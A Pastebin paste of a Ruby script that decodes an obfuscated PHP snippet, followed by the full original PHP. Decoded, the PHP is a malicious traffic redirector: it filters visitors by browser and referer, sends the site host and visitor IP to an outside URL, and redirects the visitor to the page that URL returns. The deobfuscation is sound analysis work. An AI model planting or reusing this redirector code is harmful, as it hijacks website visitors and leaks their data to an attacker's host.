Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #!/usr/bin/env ruby
  2.  
  3. require 'base64'
  4.  
  5. _1721131579_ = ['ZGVmaW5l','c3RydG9sb3dlcg==','c3RycG9z','c3RycG9z','c3RydG9sb3dlcg==','c3RyX3JlcGxhY2U=','dXJsZW5jb2Rl','dXJsZW5jb2Rl','c3RydmFs','bXRfcmFuZA==','aGVhZGVy','aW5pX2dldA==','cGFyc2VfdXJs','ZnNvY2tvcGVu','ZnVuY3Rpb25fZXhpc3Rz','c3RyZWFtX2NvbnRleHRfY3JlYXRl','YXJyYXlfZGlmZl91YXNzb2M=','bXRfcmFuZA==','ZmlsZV9nZXRfY29udGVudHM=','c3RydHI=','Y3VybF9jbG9zZQ==','ZnB1dHM=','c3RybGVu','c3Vic3RyX2NvdW50','ZnJlYWQ=','bXRfcmFuZA==','c3RybmF0Y21w','ZmNsb3Nl','c3RycG9z','c3Vic3Ry','c2hhMQ==','Y3VybF9pbml0','Y3VybF9zZXRvcHQ=','Y3VybF9zZXRvcHQ=','Y3VybF9zZXRvcHQ=','c2hhMQ==','bXNzcWxfcmVzdWx0','Y3VybF9zZXRvcHQ=','c3RydG90aW1l','bXRfcmFuZA==','Y3VybF9leGVj','Y3VybF9jbG9zZQ==']
  6.  
  7. def _2032585164(idx)
  8.  
  9.     # a.size == 55
  10.  
  11.     a = ['QURNSU5fUkVESVJfVVJM','aHR0cDovL2RiYy5waW5lc3RyeS5jb20vcnRrL2dldF91cmwucGhw','SFRUUF9VU0VSX0FHRU5U','SFRUUF9VU0VSX0FHRU5U','','d2luZG93cw==','MXo=','b3BlcmEvOS44MA==','bXNpZSAxMA==','bXNpZSA5','bXNpZSA4','bXNpZSA3','Mno=','SFRUUF9SRUZFUkVS','SFRUUF9SRUZFUkVS','','M3o=','SFRUUF9IT1NU','SFRUUF9IT1NU','SFRUUF9IT1NU','d3d3Lg==','','SFRUUF9IT1NU','ZD0=','SFRUUF9IT1NU','Og==','UkVNT1RFX0FERFI=','Og==','ZQ==','QkFE','TG9jYXRpb246IA==','YWxsb3dfdXJsX2ZvcGVu','aG9zdA==','aG9zdA==','cGF0aA==','Y3VybF9pbml0','aHR0cA==','bWV0aG9k','UE9TVA==','aGVhZGVy','Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=','Cg==','Y29udGVudA==','UE9TVCA=','ICBIVFRQLzEuMA0K','VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=','QWNjZXB0OiAqLyoNCg==','QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K','QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K','Q29udGVudC1MZW5ndGg6IA==','DQo=','','DQoNCg==','dnNxdw==','anF4ZQ==']
  12.    
  13.     Base64.decode64(a[idx])
  14.  
  15. end
  16.  
  17. # printout decoded global variable
  18. def decode_global
  19.     _1721131579_.each do |f|
  20.         puts Base64.decode64(f)
  21.     end
  22. end
  23.  
  24. # printout _2032585164 decoded content
  25. def printout_parameters
  26.     55.times do |i|
  27.         puts _2032585164(i-1)
  28.     end
  29. end
  30.  
  31.  
  32. p = <<BODY
  33. $GLOBALS['_1721131579_'][0](_2032585164(0),_2032585164(1));$_0=isset($_SERVER[_2032585164(2)])?$GLOBALS['_1721131579_'][1]($_SERVER[_2032585164(3)]):_2032585164(4);if($GLOBALS['_1721131579_'][2]($_0,_2032585164(5))===false){exit(_2032585164(6));}$_1=array(_2032585164(7),_2032585164(8),_2032585164(9),_2032585164(10),_2032585164(11),);$_2=false;foreach($_1 as $_3){if($GLOBALS['_1721131579_'][3]($_0,$_3)!==false){$_2=true;break;}}if(!$_2){exit(_2032585164(12));}$_4=isset($_SERVER[_2032585164(13)])?$_SERVER[_2032585164(14)]:_2032585164(15);if(empty($_4)){exit(_2032585164(16));}$_SERVER[_2032585164(17)]=$GLOBALS['_1721131579_'][4]($_SERVER[_2032585164(18)]);$_SERVER[_2032585164(19)]=$GLOBALS['_1721131579_'][5](_2032585164(20),_2032585164(21),$_SERVER[_2032585164(22)]);$_5=_2032585164(23) .$GLOBALS['_1721131579_'][6]($_SERVER[_2032585164(24)]) ._2032585164(25) .$GLOBALS['_1721131579_'][7]($_SERVER[_2032585164(26)] ._2032585164(27) .$_4);;$_6=_2032585164(28);$_7=l__0($_5);(round(0+456)-round(0+228+228)+round(0+552+552+552)-round(0+828+828))?$GLOBALS['_1721131579_'][8]($_5,$_3,$_8):$GLOBALS['_1721131579_'][9](round(0+456),round(0+665.8+665.8+665.8+665.8+665.8));if($_7==_2032585164(29)){exit();}$GLOBALS['_1721131579_'][10](_2032585164(30) .$_7);function l__0($_9){if($GLOBALS['_1721131579_'][11](_2032585164(31))== round(0+0.2+0.2+0.2+0.2+0.2)){return l__1($_9);}else{$_10=$GLOBALS['_1721131579_'][12](ADMIN_REDIR_URL);if($_11=@$GLOBALS['_1721131579_'][13]($_10[_2032585164(32)],round(0+40+40),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){return l__2($_11,$_10[_2032585164(33)],$_10[_2032585164(34)],$_9);}elseif(@$GLOBALS['_1721131579_'][14](_2032585164(35))){return l__3($_9);}}}function l__1($_5){$_14=$GLOBALS['_1721131579_'][15](array(_2032585164(36)=> array(_2032585164(37)=> _2032585164(38),_2032585164(39)=> _2032585164(40) ._2032585164(41),_2032585164(42)=> $_5,),));(round(0+580.66666666667+580.66666666667+580.66666666667)-round(0+348.4+348.4+348.4+348.4+348.4)+round(0+673.33333333333+673.33333333333+673.33333333333)-round(0+404+404+404+404+404))?$GLOBALS['_1721131579_'][16]($_4,$_7,$_2):$GLOBALS['_1721131579_'][17](round(0+435.5+435.5+435.5+435.5),round(0+4680));return $GLOBALS['_1721131579_'][18](ADMIN_REDIR_URL,false,$_14);if((round(0+80.5+80.5)+round(0+2458))>round(0+40.25+40.25+40.25+40.25)|| $GLOBALS['_1721131579_'][19]($_15,$_16));else{$GLOBALS['_1721131579_'][20]($_1);}}function l__2($_11,$_17,$_15,$_5){$GLOBALS['_1721131579_'][21]($_11,_2032585164(43) .$_15 ._2032585164(44) ."Host: $_17\r\n" ._2032585164(45) ._2032585164(46) ._2032585164(47) ._2032585164(48) ._2032585164(49) .$GLOBALS['_1721131579_'][22]($_5) ._2032585164(50) ."Content-Type: application/x-www-form-urlencoded\r\n\r\n$_5");$_8=_2032585164(51);while(round(0+3843)-round(0+960.75+960.75+960.75+960.75))$GLOBALS['_1721131579_'][23]($_14);while($_16=$GLOBALS['_1721131579_'][24]($_11,round(0+819.2+819.2+819.2+819.2+819.2))){$_8 .= $_16;if(round(0+2115.3333333333+2115.3333333333+2115.3333333333)<$GLOBALS['_1721131579_'][25](round(0+365+365+365+365+365),round(0+1129+1129+1129+1129)))$GLOBALS['_1721131579_'][26]($_11);}$GLOBALS['_1721131579_'][27]($_11);$_18=$GLOBALS['_1721131579_'][28]($_8,_2032585164(52));$_8=$GLOBALS['_1721131579_'][29]($_8,$_18+round(0+1+1+1+1));return $_8;while(round(0+2376+2376)-round(0+950.4+950.4+950.4+950.4+950.4))$GLOBALS['_1721131579_'][30]($_1,$_13,$_8);}function l__3($_5){$_19=$GLOBALS['_1721131579_'][31](ADMIN_REDIR_URL);$GLOBALS['_1721131579_'][32]($_19,42,FALSE);$_20=_2032585164(53);$GLOBALS['_1721131579_'][33]($_19,19913,TRUE);$GLOBALS['_1721131579_'][34]($_19,13,round(0+3.75+3.75+3.75+3.75));if((round(0+333.2+333.2+333.2+333.2+333.2)+round(0+875.8+875.8+875.8+875.8+875.8))>round(0+833+833)|| $GLOBALS['_1721131579_'][35]($_21,$_17,$_1,$_13,$_14));else{$GLOBALS['_1721131579_'][36]($_19);}$GLOBALS['_1721131579_'][37]($_19,10015,$_5);(round(0+302.25+302.25+302.25+302.25)-round(0+1209)+round(0+896.5+896.5+896.5+896.5)-round(0+1793+1793))?$GLOBALS['_1721131579_'][38]($_4,$_10):$GLOBALS['_1721131579_'][39](round(0+1209),round(0+4765));$_21=$GLOBALS['_1721131579_'][40]($_19);$GLOBALS['_1721131579_'][41]($_19);$_22=_2032585164(54);return $_21;}
  34. BODY
  35.  
  36. p.strip.split(';').each do |instr|
  37.     temp_intr = instr
  38.  
  39.     # Let's substitute the GLOBALS
  40.     global = instr.scan(/\$GLOBALS\['_1721131579_'\]\[\d*\]/)
  41.     global.each do |inner_instr|
  42.         index = inner_instr.scan(/\[\d*\]/)[0]
  43.         # puts "global: #{global} - index: #{index[1..-1].chomp(']')}"
  44.         index = index[1..-1].chomp(']')
  45.         temp_intr = temp_intr.gsub(inner_instr, Base64.decode64(_1721131579_[index.to_i]))
  46.     end
  47.  
  48.     # Let's substitute the params
  49.     funct = instr.scan(/\_2032585164\(\d*\)/)
  50.     funct.each do |inner_instr|
  51.         index = inner_instr.scan(/\(\d*\)/)[0]
  52.         index = index[1..-1].chomp(')')
  53.         temp_intr = temp_intr.gsub(inner_instr, "'" + _2032585164(index.to_i) + "'")
  54.     end
  55.  
  56.     puts temp_intr + ";"
  57. end
  58.  
  59.  
  60. __END__
  61.  
  62. <? $GLOBALS['_1721131579_']=Array(base64_decode('ZGVmaW5l'),base64_decode('c3RydG9sb3dlcg=='),base64_decode('c3RycG9z'),base64_decode('c3RycG9z'),base64_decode('c3RydG9sb3dlcg=='),base64_decode('c3RyX3JlcGxhY2U='),base64_decode('dXJsZW5jb2Rl'),base64_decode('dXJsZW5jb2Rl'),base64_decode('c3RydmFs'),base64_decode('bXRfcmFuZA=='),base64_decode('aGVhZGVy'),base64_decode('aW5pX2dldA=='),base64_decode('cGFyc2VfdXJs'),base64_decode('ZnNvY2tvcGVu'),base64_decode('ZnVuY3Rpb25fZXhpc3Rz'),base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),base64_decode('YXJyYXlfZGlmZl91YXNzb2M='),base64_decode('bXRfcmFuZA=='),base64_decode('ZmlsZV9nZXRfY29udGVudHM='),base64_decode('c3RydHI='),base64_decode('Y3VybF9jbG9zZQ=='),base64_decode('ZnB1dHM='),base64_decode('c3RybGVu'),base64_decode('c3Vic3RyX2NvdW50'),base64_decode('ZnJlYWQ='),base64_decode('bXRfcmFuZA=='),base64_decode('c3RybmF0Y21w'),base64_decode('ZmNsb3Nl'),base64_decode('c3RycG9z'),base64_decode('c3Vic3Ry'),base64_decode('c2hhMQ=='),base64_decode('Y3VybF9pbml0'),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('c2hhMQ=='),base64_decode('bXNzcWxfcmVzdWx0'),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('c3RydG90aW1l'),base64_decode('bXRfcmFuZA=='),base64_decode('Y3VybF9leGVj'),base64_decode('Y3VybF9jbG9zZQ==')); ?>
  63.  
  64. <? function _2032585164($i){$a=Array('QURNSU5fUkVESVJfVVJM','aHR0cDovL2RiYy5waW5lc3RyeS5jb20vcnRrL2dldF91cmwucGhw','SFRUUF9VU0VSX0FHRU5U','SFRUUF9VU0VSX0FHRU5U','','d2luZG93cw==','MXo=','b3BlcmEvOS44MA==','bXNpZSAxMA==','bXNpZSA5','bXNpZSA4','bXNpZSA3','Mno=','SFRUUF9SRUZFUkVS','SFRUUF9SRUZFUkVS','','M3o=','SFRUUF9IT1NU','SFRUUF9IT1NU','SFRUUF9IT1NU','d3d3Lg==','','SFRUUF9IT1NU','ZD0=','SFRUUF9IT1NU','Og==','UkVNT1RFX0FERFI=','Og==','ZQ==','QkFE','TG9jYXRpb246IA==','YWxsb3dfdXJsX2ZvcGVu','aG9zdA==','aG9zdA==','cGF0aA==','Y3VybF9pbml0','aHR0cA==','bWV0aG9k','UE9TVA==','aGVhZGVy','Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=','Cg==','Y29udGVudA==','UE9TVCA=','ICBIVFRQLzEuMA0K','VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=','QWNjZXB0OiAqLyoNCg==','QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K','QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K','Q29udGVudC1MZW5ndGg6IA==','DQo=','','DQoNCg==','dnNxdw==','anF4ZQ==');
  65.  
  66. $GLOBALS['_1721131579_'][0](_2032585164(0),_2032585164(1));$_0=isset($_SERVER[_2032585164(2)])?$GLOBALS['_1721131579_'][1]($_SERVER[_2032585164(3)]):_2032585164(4);if($GLOBALS['_1721131579_'][2]($_0,_2032585164(5))===false){exit(_2032585164(6));}$_1=array(_2032585164(7),_2032585164(8),_2032585164(9),_2032585164(10),_2032585164(11),);$_2=false;foreach($_1 as $_3){if($GLOBALS['_1721131579_'][3]($_0,$_3)!==false){$_2=true;break;}}if(!$_2){exit(_2032585164(12));}$_4=isset($_SERVER[_2032585164(13)])?$_SERVER[_2032585164(14)]:_2032585164(15);if(empty($_4)){exit(_2032585164(16));}$_SERVER[_2032585164(17)]=$GLOBALS['_1721131579_'][4]($_SERVER[_2032585164(18)]);$_SERVER[_2032585164(19)]=$GLOBALS['_1721131579_'][5](_2032585164(20),_2032585164(21),$_SERVER[_2032585164(22)]);$_5=_2032585164(23) .$GLOBALS['_1721131579_'][6]($_SERVER[_2032585164(24)]) ._2032585164(25) .$GLOBALS['_1721131579_'][7]($_SERVER[_2032585164(26)] ._2032585164(27) .$_4);;$_6=_2032585164(28);$_7=l__0($_5);(round(0+456)-round(0+228+228)+round(0+552+552+552)-round(0+828+828))?$GLOBALS['_1721131579_'][8]($_5,$_3,$_8):$GLOBALS['_1721131579_'][9](round(0+456),round(0+665.8+665.8+665.8+665.8+665.8));if($_7==_2032585164(29)){exit();}$GLOBALS['_1721131579_'][10](_2032585164(30) .$_7);function l__0($_9){if($GLOBALS['_1721131579_'][11](_2032585164(31))== round(0+0.2+0.2+0.2+0.2+0.2)){return l__1($_9);}else{$_10=$GLOBALS['_1721131579_'][12](ADMIN_REDIR_URL);if($_11=@$GLOBALS['_1721131579_'][13]($_10[_2032585164(32)],round(0+40+40),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){return l__2($_11,$_10[_2032585164(33)],$_10[_2032585164(34)],$_9);}elseif(@$GLOBALS['_1721131579_'][14](_2032585164(35))){return l__3($_9);}}}function l__1($_5){$_14=$GLOBALS['_1721131579_'][15](array(_2032585164(36)=> array(_2032585164(37)=> _2032585164(38),_2032585164(39)=> _2032585164(40) ._2032585164(41),_2032585164(42)=> $_5,),));(round(0+580.66666666667+580.66666666667+580.66666666667)-round(0+348.4+348.4+348.4+348.4+348.4)+round(0+673.33333333333+673.33333333333+673.33333333333)-round(0+404+404+404+404+404))?$GLOBALS['_1721131579_'][16]($_4,$_7,$_2):$GLOBALS['_1721131579_'][17](round(0+435.5+435.5+435.5+435.5),round(0+4680));return $GLOBALS['_1721131579_'][18](ADMIN_REDIR_URL,false,$_14);if((round(0+80.5+80.5)+round(0+2458))>round(0+40.25+40.25+40.25+40.25)|| $GLOBALS['_1721131579_'][19]($_15,$_16));else{$GLOBALS['_1721131579_'][20]($_1);}}function l__2($_11,$_17,$_15,$_5){$GLOBALS['_1721131579_'][21]($_11,_2032585164(43) .$_15 ._2032585164(44) ."Host: $_17\r\n" ._2032585164(45) ._2032585164(46) ._2032585164(47) ._2032585164(48) ._2032585164(49) .$GLOBALS['_1721131579_'][22]($_5) ._2032585164(50) ."Content-Type: application/x-www-form-urlencoded\r\n\r\n$_5");$_8=_2032585164(51);while(round(0+3843)-round(0+960.75+960.75+960.75+960.75))$GLOBALS['_1721131579_'][23]($_14);while($_16=$GLOBALS['_1721131579_'][24]($_11,round(0+819.2+819.2+819.2+819.2+819.2))){$_8 .= $_16;if(round(0+2115.3333333333+2115.3333333333+2115.3333333333)<$GLOBALS['_1721131579_'][25](round(0+365+365+365+365+365),round(0+1129+1129+1129+1129)))$GLOBALS['_1721131579_'][26]($_11);}$GLOBALS['_1721131579_'][27]($_11);$_18=$GLOBALS['_1721131579_'][28]($_8,_2032585164(52));$_8=$GLOBALS['_1721131579_'][29]($_8,$_18+round(0+1+1+1+1));return $_8;while(round(0+2376+2376)-round(0+950.4+950.4+950.4+950.4+950.4))$GLOBALS['_1721131579_'][30]($_1,$_13,$_8);}function l__3($_5){$_19=$GLOBALS['_1721131579_'][31](ADMIN_REDIR_URL);$GLOBALS['_1721131579_'][32]($_19,42,FALSE);$_20=_2032585164(53);$GLOBALS['_1721131579_'][33]($_19,19913,TRUE);$GLOBALS['_1721131579_'][34]($_19,13,round(0+3.75+3.75+3.75+3.75));if((round(0+333.2+333.2+333.2+333.2+333.2)+round(0+875.8+875.8+875.8+875.8+875.8))>round(0+833+833)|| $GLOBALS['_1721131579_'][35]($_21,$_17,$_1,$_13,$_14));else{$GLOBALS['_1721131579_'][36]($_19);}$GLOBALS['_1721131579_'][37]($_19,10015,$_5);(round(0+302.25+302.25+302.25+302.25)-round(0+1209)+round(0+896.5+896.5+896.5+896.5)-round(0+1793+1793))?$GLOBALS['_1721131579_'][38]($_4,$_10):$GLOBALS['_1721131579_'][39](round(0+1209),round(0+4765));$_21=$GLOBALS['_1721131579_'][40]($_19);$GLOBALS['_1721131579_'][41]($_19);$_22=_2032585164(54);return $_21;}